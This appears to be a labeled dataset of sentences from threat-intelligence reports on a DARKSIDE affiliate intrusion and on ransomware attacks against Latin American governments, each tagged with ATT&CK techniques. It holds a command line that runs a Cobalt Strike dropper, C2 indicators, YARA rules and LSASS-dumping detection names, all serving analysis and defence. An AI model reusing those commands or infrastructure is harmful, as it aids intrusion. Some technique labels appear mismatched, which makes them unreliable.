{"sentence": "%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\console.lnk Cobalt Strike Beacon The attacker used UltraVNC to download an in-memory dropper for Cobalt Strike to C:\\ProgramData\\Cisco Systems\\Cisco Jabber\\update.exe.", "labels": ["T1105"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Update.exe was a Go based dropper created using the ScareCrow framework.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "The attacker executed C:\\ProgramData\\Cisco Systems\\Cisco Jabber\\update.exe using Command Prompt.", "labels": ["T1059.003"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "cmd.exe /c 'C:\\ProgramData\\Cisco Systems\\Cisco Jabber\\update.exe'&&exit", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "The execution of ScareCrow framework dropper C:\\ProgramData\\Cisco Systems\\Cisco Jabber\\update.exe resulted in the creation of a Cobalt Strike stageless payload to C:\\ProgramData\\Cisco\\update.exe, which then established a connection to a Cobalt Strike Beacon server located at w2doger[.]xyz when executed.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Mandiant observed the attacker using UltraVNC to download and store a file named update.lnk in the %APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ directory.", "labels": ["T1105", "T1547.001"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Mandiant was not able to recover update.lnk at the time of writing, but suspects that this file was created to add persistence to the Cobalt Strike stageless payload.", "labels": ["T1003.001"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "LSASS Dumping and Lateral Movement Mandiant observed this attacker dump the LSASS process using Task Manager to a file named lsass.", "labels": ["T1003.001"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "DMP, and later, zip the dump into two files named lsass.zip and lsass2.zip located in the C:\\ProgramData\\psh\\ directory.", "labels": ["T1003.001"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "From this point, the attacker was observed moving laterally to different systems in the environment using Remote Desktop Protocol (RDP) connections.", "labels": ["T1021.001"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Conclusion UNC2465 established initial access via a Trojanized installer executed by an unsuspecting user.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "UNC2465 interactively established an NGROK tunnel and began moving laterally in less than 24 hours.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Five days later, UNC2465 returned and deployed additional tools such as a keylogger, Cobalt Strike BEACON, and conducted credential harvesting via dumping LSASS memory.", "labels": ["T1003.001", "T1056.001", "T1105"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Ransomware groups continue to adapt and pursue opportunistic access to victims.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "UNC2465’s move from drive-by attacks on website visitors or phishing emails to this software supply chain attack shows a concerning shift that presents new challenges for detection.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "While many organizations are now focusing more on perimeter defenses and two-factor authentication after recent public examples of password reuse or VPN appliance exploitation, monitoring on endpoints is often overlooked or left to traditional antivirus.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "A well-rounded security program is essential to mitigate risk from sophisticated groups such as UNC2465 as they continue to adapt to a changing security landscape.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Indicators Supply Chain/Trojanized Nullsoft Installer/SmartPSS MD5:", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "1430291f2db13c3d94181ada91681408 Filename: SMARTPSS-Win32_ChnEng_IS_V2.002.0000007.0.R.181023-General-v1.exe Zip MD5: 54e0a0d398314f330dfab6cd55d95f38 Supply Chain/Trojanized Nullsoft Installer/SVStation MD5: e9ed774517e129a170cdb856bd13e7e8 Filename: SVStation_Win64-B1130.1.0.0.exe Intermediate Stage URL: hxxp://sdoc[.]xyz/ID-508260156241 IP: 185.92.151[.]150 SMOKEDHAM LOADER MD5: f075c2894ac84df4805e8ccf6491a4f4 (Gbdh7yghJgbj3bb.html) MD5: 05d38c7e957092f7d0ebfc7bf1eb5365 SMOKEDHAM MD5: 127bf1d43313736c52172f8dc6513f56 (in-memory from f075c2894ac84df4805e8ccf6491a4f4)", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Host: max-ghoster1.azureedge[.]net (actual C2) MD5: 9de326bf37270776b78e30d442bda48b (MEtNOcyfkXWe.html) Host: atlant20.azureedge[.]net (actual C2) MD5: b06319542cab55346776f0358a61b3b3 (in-memory from 05d38c7e957092f7d0ebfc7bf1eb5365)", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Host: skolibri13.azureedge[.]net (actual C2) NGROK MD5: e3bc4dd84f7a24f24d790cc289e0a10f (legitimate NGROK renamed to conhost.exe) MD5: 84ed6012ec62b0bddcd18058a8ff7ddd (VirtualHost.vbs) UltraVNC IP/Port: 81.91.177[.]54:7234 (using legitimate ULTRAVNC 23b89bf2c2b99fbc1e232b4f86af65f4) BEACON Host: w2doger[.]xyz IP: 185.231.68.102 MD5: a9fa3eba3f644ba352462b904dfbcc1a (shellcode)", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Detecting the Techniques FireEye detects this activity across our platforms.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "The following contains specific detection names that provide indicators associated with this activity.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Platform Detection Name FireEye Network Security FireEye Email Security FireEye Detection On Demand FireEye Malware Analysis FireEye Malware File Protect Backdoor.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "BEACON FE_Loader_Win32_BLUESPINE_1 Trojan.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Win32.CobaltStrike Backdoor.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "MSIL.SMOKEDHAM Malware.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Binary.ps1 FEC_Backdoor_CS_SMOKEDHAM_1 Suspicious Process PowerShell Activity FireEye Endpoint Security Real-Time Detection (IOC) WDIGEST CREDENTIAL EXPOSURE (METHODOLOGY) WDIGEST CREDENTIAL EXPOSURE VIA REGISTRY (METHODOLOGY) SUSPICIOUS CONHOST.EXE A (METHODOLOGY) TASKMGR PROCESS DUMP OF LSASS.EXE", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "A (METHODOLOGY) Malware Protection (AV/MG) Trojan.GenericFCA.Script.533 Trojan.GenericFCA.Agent.7732 Dropped:Trojan.VBS.VGU Trojan.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "CobaltStrike.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "FM NGRok Ultra VNC SVN Station Generic.mg.a9fa3eba3f644ba3 Generic.mg.1626373508569884 Modules Process Guard (LSASS memory protection) FireEye Helix VNC METHODOLOGY", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "[Procs] (T1021.005) WINDOWS ANALYTICS", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "[Abnormal RDP Logon] (T1078) WINDOWS ANALYTICS", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "[Recon Commands] (T1204) WINDOWS METHODOLOGY", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "[Cleartext Credentials Enabled - UseLogonCredential] (T1003.001) WINDOWS METHODOLOGY", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "[LSASS Generic Dump Activity] (T1003.001) WINDOWS METHODOLOGY", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "[LSASS Memory Access] (T1003.001) WINDOWS METHODOLOGY", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "[Registry Run Key - reg.exe] (T1547.001) WINDOWS METHODOLOGY", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "[User Created - Net Command] (T1136.001)", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Yara Detections rule Backdoor_Win_SMOKEDHAM { meta: author = \"Mandiant\" date_created = \"2021-06-10\" md5 = \"9de326bf37270776b78e30d442bda48b\" strings: $C2Method = { 2E 4D 65 74 68 6F 64 20 3D 20 22 50 4F 53 54 22 } //.Method = \"POST\" $domainFrontingDomain = /\\.[hH]ost\\s*=\\s*\\\"[^\\\"]*\";/ $envCollection1 = { 45 6E 76 69 72 6F 6E 6D 65 6E 74 2E 47 65 74 45 6E 76 69 72 6F 6E 6D 65 6E 74 56 61 72 69 61 62 6C 65 28 22 43 4F 4D 50 55 54 45 52 4E 41 4D 45 22 29 } //Environment.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "GetEnvironmentVariable(\"COMPUTERNAME\") $envCollection2 = { 45 6E 76 69 72 6F 6E 6D 65 6E 74 2E 47 65 74 45 6E 76 69 72 6F 6E 6D 65 6E 74 56 61 72 69 61 62 6C 65 28 22 55 53 45 52 44 4F 4D 41 49 4E 22 29 } //Environment.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "GetEnvironmentVariable(\"USERDOMAIN\") $envCollection3 = { 45 6E 76 69 72 6F 6E 6D 65 6E 74 2E 47 65 74 45 6E 76 69 72 6F 6E 6D 65 6E 74 56 61 72 69 61 62 6C 65 28 22 55 53 45 52 4E 41 4D 45 22 29 } //Environment.GetEnvironmentVariable(\"USERNAME", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "\") $functionalityString1 = { 28 22 64 65 6C 61 79 22 29 } //(\"delay\") $functionalityString2 = { 28 22 73 63 72 65 65 6E 73 68 6F 74 22 29 } //(\"screenshot\") $functionalityString3 = { 28 22 65 78 69 74 22 29 } //(\"exit\") $publicStrings1 = \"public string UUID\" $publicStrings2 = \"public string ID\" $publicStrings3 = \"public string Data\" $UserAgentRequest = { 20 3D 20 45 6E 76 69 72 6F 6E 6D 65 6E 74 2E 4F 53 56 65 72 73 69 6F 6E 2E 54 6F 53 74 72 69 6E 67 28 29 3B } // = Environment.OSVersion.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "ToString(); condition: filesize < 1MB and all of them } rule Loader_Win_SMOKEDHAM { meta: author = \"Mandiant\" date_created = \"2021-06-10\" md5 = \"05d38c7e957092f7d0ebfc7bf1eb5365\" strings: $listedDLLs1 = \"System.Drawing.dll\" fullword $listedDLLs2 = \"System.Web.Extensions.dll\" fullword $listedDLLs3 = \"System.Windows.Forms.dll\" fullword $CSharpLang = {2d 4c 61 6e 67 75 61 67 65 20 43 53 68 61 72 70} // -Language CSharp $StringConversion = \"convertto-securestring\" nocase $SecureString1 = {5b 53 79 73 74 65 6d 2e 52 75 6e 74 69 6d 65 2e 49 6e 74 65 72 6f 70 53 65 72 76 69 63 65 73 2e 4d 61 72 73 68 61 6c 5d 3a 3a 53 65 63 75 72 65 53 74 72 69 6e 67 54 6f 42 53 54 52} //[System.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Runtime.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "InteropServices.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Marshal]::SecureStringToBSTR $SecureString2 = {5b 53 79 73 74 65 6d 2e 52 75 6e 74 69 6d 65 2e 49 6e 74 65 72 6f 70 53 65 72 76 69 63 65 73 2e 4d 61 72 73 68 61 6c 5d 3a 3a 50 74 72 54 6f 53 74 72 69 6e 67 41 75 74 6f} //[System.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Marshal]::PtrToStringAuto condition: filesize < 1MB and (1 of ($listedDLLs*)) and $CSharpLang and $StringConversion and $SecureString1 and $SecureString2 } MITRE ATT&CK UNC2465 Tactic Description Initial Access T1189: Drive-by Compromise T1195.002: Compromise Software Supply Chain T1566:", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Phishing Execution T1053.005:", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Scheduled Task T1059.001:", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "PowerShell T1059.005:", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Visual Basic Persistence T1098: Account Manipulation T1136: Create Account T1547.001:", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Registry Run Keys / Startup Folder T1547.004: Winlogon Helper DLL T1547.009:", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Shortcut Modification Defense Evasion T1027: Obfuscated Files or Information T1070.006: Timestomp T1112: Modify Registry T1140: Deobfuscate/Decode Files or Information T1218.005: Mshta T1553.002:", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Code Signing T1562.004:", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Disable or Modify System Firewall Discovery T1012:", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Query Registry T1033: System Owner/User Discovery T1082: System Information Discovery Collection T1056.001:", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Keylogging T1113: Screen Capture T1560:", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Archive Collected Data Impact T1486: Data Encrypted for Impact T1531: Account Access Removal Command and Control T1071.001:", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Web Protocols T1090.004:", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Domain Fronting T1102: Web Service T1105:", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Ingress Tool Transfer T1219:", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Remote Access Software T1572:", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Protocol Tunneling T1573.002:", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Asymmetric Cryptography Lateral Movement T1021.004: SSH T1021.005: VNC Credential Access T1003.001:", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "LSASS Memory Resource Development T1588.003: Code Signing Certificates T1588.004: Digital Certificates T1608.003: Install Digital Certificate Acknowledgements Thanks to everyone that contributed analysis and review.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Special thanks to Alison Stailey, Joseph Reyes, Nick Richard, Andrew Thompson, Jeremy Kennelly, Joshua Sablatura, Evan Reese, Van Ta, Stephen Eckels, and Tufail Ahmed.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Recorded Future examined the recent escalation of cyberattacks on Latin American (LATAM) governments from January 2022 until May 2022.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "We analyzed vulnerabilities, attack vectors, and indicators of compromise (IOCs), identified the most prevalent ransomware gangs targeting LATAM governments, and highlighted the lack of proper cybersecurity hygiene in the region.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "This report includes information gathered using the Recorded Future Platform, dark web sources, and open-source intelligence techniques (OSINT).Executive SummaryWe identified several government entities in Latin America (LATAM) that have been affected by ransomware attacks, likely involving Russian or Russian-speaking threat actors, beginning on or around April 2022.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "Countries affected include Costa Rica, Peru, Mexico, Ecuador, Brazil, and Argentina, among others, all of which have publicly condemned Russia for invading Ukraine at the United Nations General Assembly (UNGA).", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "Some of these countries also voted to suspend Russia from the United Nations Human Rights Council (UNHRC) in early April 2022.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "More recently, national emergencies have been issued regarding these attacks, such as in Costa Rica.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "Ransomware groups involved in these attacks against governments in LATAM include Conti, ALPHV, LockBit 2.0, and BlackByte.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "We have anecdotally identified a noticeable increase in initial access brokerage (IAB) services on top-tier Russian-language dark web and special access forums such as XSS and Exploit advertising low-cost, compromised network access methods related to entities in LATAM.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "We have also observed several high-profile database leaks related to entities in LATAM on low-tier and mid-tier English-speaking forums such as BreachForums, with data dumps spiking in April 2022.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "Additionally, we observed a significant increase in the sale of compromised credentials affecting LATAM government domains on dark web shops in Q1 and Q2 2022, relative to 2021.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "These observations and trends could represent a paradigm shift in the ransomware and broader cybercriminal community related to unwritten rules and internal group policies on the targeting of government entities.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "Key JudgmentsThe credibility of ransomware attacks on LATAM government entities is high, based on analysis of leaked sample data, threat actor indications, and historical activities, patterns, and trends related to tracked ransomware operators and affiliates.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "If unaddressed, ransomware attacks on local, provincial, or federal government entities in LATAM could constitute a credible national and geopolitical security risk.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "Entities in LATAM will remain attractive targets for ransomware operators and affiliates, as the region lacks the proper cybersecurity education, hygiene, and infrastructure to defend against such threats.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "If attacks on LATAM government entities were to escalate to target infrastructure and critical services, this would pose a significant national security risk.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "The most likely attack vectors employed by ransomware affiliates targeting LATAM government entities include the use of compromised valid credentials obtained via infostealer infection, initial access broker sale, or purchase on a dark web shop or marketplace.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "The targeting of LATAM government entities could represent an initial shift away from internal cybercriminal policies on the targeting of governments worldwide.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "Threat AnalysisAttack VectorsAs of May 26, 2022, we can not definitively determine the attack vector employed by ransomware operators and affiliates targeting LATAM government entities.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "However, the most common method by which threat actors obtain initial access to networks is through the use of compromised valid credential pairs (T1078) and session cookies (T1539), which are often harvested from a successful infostealer infection (T1555, T1083) and sold by specialized initial access brokers on dark web and special-access sources.", "labels": ["T1078"], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "This is the most likely avenue by which such threat actors gained access to compromised LATAM government networks.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "These infostealers are often spread via phishing (T1566), spamming, the unintentional downloading of a malicious (T1204) or masquerading (T1036) file, and various other methods.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "We have observed a minor, sustained increase in references to initial access sales and database leaks targeting LATAM government entities on dark web and special-access sources, beginning in approximately March 2022.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "These observations are recorded anecdotally via Insikt Groups daily threat leads, analyst notes, and reports.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "We have observed several threat actors, such as zirochka, on top-tier Russian-language forums XSS and Exploit auctioning compromised network accesses targeting entities in LATAM in bulk for relatively low prices (< $100).Figure 1: Timeline of ransomware attacks on LATAM government entities, mapped to references to LATAM on dark web and special-access sources (Source: Recorded Future)We have observed a slight increase in database dumps related to LATAM government entities, beginning in March 2022 and spiking on April 4, 2022.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "We have also identified a significant increase in Q1 2022, beginning in February 2022, of references to domains owned by government entities in LATAM on dark web shops and marketplaces such as Russian Market, Genesis Store, and 2easy Shop, relative to the same time period in 2021.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "These dark web shops and marketplaces specialize in the sale of compromised account credentials, remote desktop protocol (RDP) and secure shell (SSH) accesses, and infostealer malware logs that can be utilized to gain access to a victims network.", "labels": ["T1021.001"], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "While we cannot determine any direct or causal link between the increased supply, frequency, and volume of advertisements targeting government entities and domains in LATAM to ransomware attacks targeting LATAM government entities, we believe that such trends and observations warrant further research to analyze and determine any possible correlation.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "Figure 2: Examples of bulk initial access auctions targeting unspecified entities in LATAM (Source: Exploit Forum)Ransomware Gangs Targeting LATAM Government EntitiesWe have observed at least 4 high-credibility ransomware gangs targeting LATAM government entities during a period of time beginning on April 1, 2022.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "These gangs include Conti, ALPHV (BlackCat), LockBit 2.0, and BlackByte.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "These incidents constitute a significant escalation in the severity and impact of ransomware targeting.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "Generally, ransomware affiliates avoid targeting healthcare facilities, K-12 educational institutions, international organizations and coalitions, and local, provincial, or federal governments.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "The risk of negative publicity and stigmatization on dark web and special-access forums, mainstream media attention, and international law enforcement activity increases dramatically once targets in these industries are attacked.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "It is possible that the targeting of LATAM entities by presumably Russian or Russian-speaking ransomware gangs could mark the beginning of a paradigm shift in which targets that were previously internally sanctioned by the group could now become viable targets for ransomware operations.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "ContiThe most noteworthy of these targets is the attack on the government of Costa Rica by Conti, which resulted in the worlds first nationwide emergency declared as the result of a ransomware attack.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "The attack, likely perpetrated and publicized by ransomware affiliate or affiliate group unc1756, also likely known as wazawaka, has garnered widespread media and law enforcement attention.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "Since affiliates often work independently from the larger ransomware brand, it is possible that the attacks on Costa Rica that were claimed by Conti are not the work of the larger group.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "Conti has claimed to have exfiltrated, encrypted, or destroyed approximately 1TB of sensitive information related to the administration and operations of several Costa Rican entities including the Ministry of Finance (hacienda[.]go[.]cr), the Ministry of Labor and Social Security (mtss[.]go[.]cr), the Development Fund and Family Allowances Bureau (fodesaf[.]go[.]cr), and the Interuniversity Headquarters of Alajuela, Costa Rica (siua[.]ac[.]cr).", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "Previous Conti posts also made vague references to controlling public utilities such as water and electricity, likely indicating indirectly that the group had access to Costa Rican industrial control system / supervisory control and data acquisition (ICS/SCADA) environments.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "However, we are not able to verify these claims.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "Conti followed their claims of an attack on Costa Rica with an attack on Peru that affected the General Directorate of Intelligence (digimin[.]gob[.]pe) and Ministry of Economics and Finance (mef[.]gob[.]pe).Figure 3: Announcements of attacks on Costa Rican and Peruvian government entities by the Conti Gang (Source: Conti.News)ALPHV (BlackCat)On April 16, 2022, the ransomware gang ALPHV (BlackCat) leaked an unspecified amount of compromised data related to the Municipality of Quito, Ecuador (quito[.]gob[.]ec).", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "This marked the first time that ALPHV targeted a government entity located in LATAM.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "According to Ecuadorian media, this attack took several services offline for an unspecified amount of time.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "This is a noteworthy event, as the Mayors Office of Municipality of Quito and State Attorney Generals Office confirmed that the initial attack caused the suspension of several critical government services, which caused an inconvenience to users who have not been able to carry out procedures.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "As of April 25, 2022, all of the information claimed to have been exfiltrated by ALPHV is available to download for free on a .onion domain provided on the public-facing ALPHV extortion website with the same name.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "Compromised information likely includes sensitive financial, legal, and political documents related to the operations and administration of the Municipality of Quito, Ecuador.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "This information, if leveraged by an opportunistic threat actor, criminal, or nation-state, could prove to be damaging to Ecuadors national security.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "Figure 4: Announcements of an attack on the Municipality of Quito, Ecuador from the BlackCat Ransomware Group (Source: ALPHV)LockBit", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "2.0On May 23, 2022, the LockBit 2.0 ransomware gang published to their blog leaked files related to the Secretary of Health of the State of Morelos, Mexico (saludparatodos[.]ssm[.]gob[.]mx), a breach that was initially disclosed on or around May 16, 2022.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "This disclosure followed a previous claim on April 22, 2022 that LockBit 2.0 had compromised the network of the Secretary of State for Finance of Rio De Janeiro, Brazil (fazenda[.]rj[.]gov[.]br).", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "Neither of these incidents were widely reported in either Mexican or Brazilian media.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "As of April 25, 2022, it is unclear whether the attacks resulted in a significant disruption of critical services related to the government entities.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "Additionally, also as of April 25, 2022, all of the information claimed to have been exfiltrated by the LockBit 2.0 ransomware gang is available to download for free on the public-facing LockBit 2.0 extortion website called LockBit 2.0 Leaked Data.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "The compromised information likely includes sensitive financial, legal, and political documents related to the operations and administration of these entities.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "This information, if leveraged by an opportunistic threat actor, criminal, or nation-state, could prove to be damaging to the national security of Mexico and Brazil.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "Figure 5: Announcements of attacks on Mexican and Brazilian government entities by the LockBit Gang (Source: LockBit Blog)BlackByteOn May 21, 2022, the BlackByte ransomware operators published claims on their public-facing extortion website named BlackByte Blog that they had compromised the internal network of the Comptroller General of the Republic of Peru (contraloria[.]gob[.]pe).", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "As of April 25, 2022, the BlackByte ransomware operators have not published any noteworthy data related to this government entity.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
{"sentence": "This attack has yet to be confirmed by any representatives of the Comptroller General of Peru and has not been extensively reported on in Peruvian or Spanish-language media.", "labels": [], "doc_title": "Latin American Governments Targeted By Ransomware"}
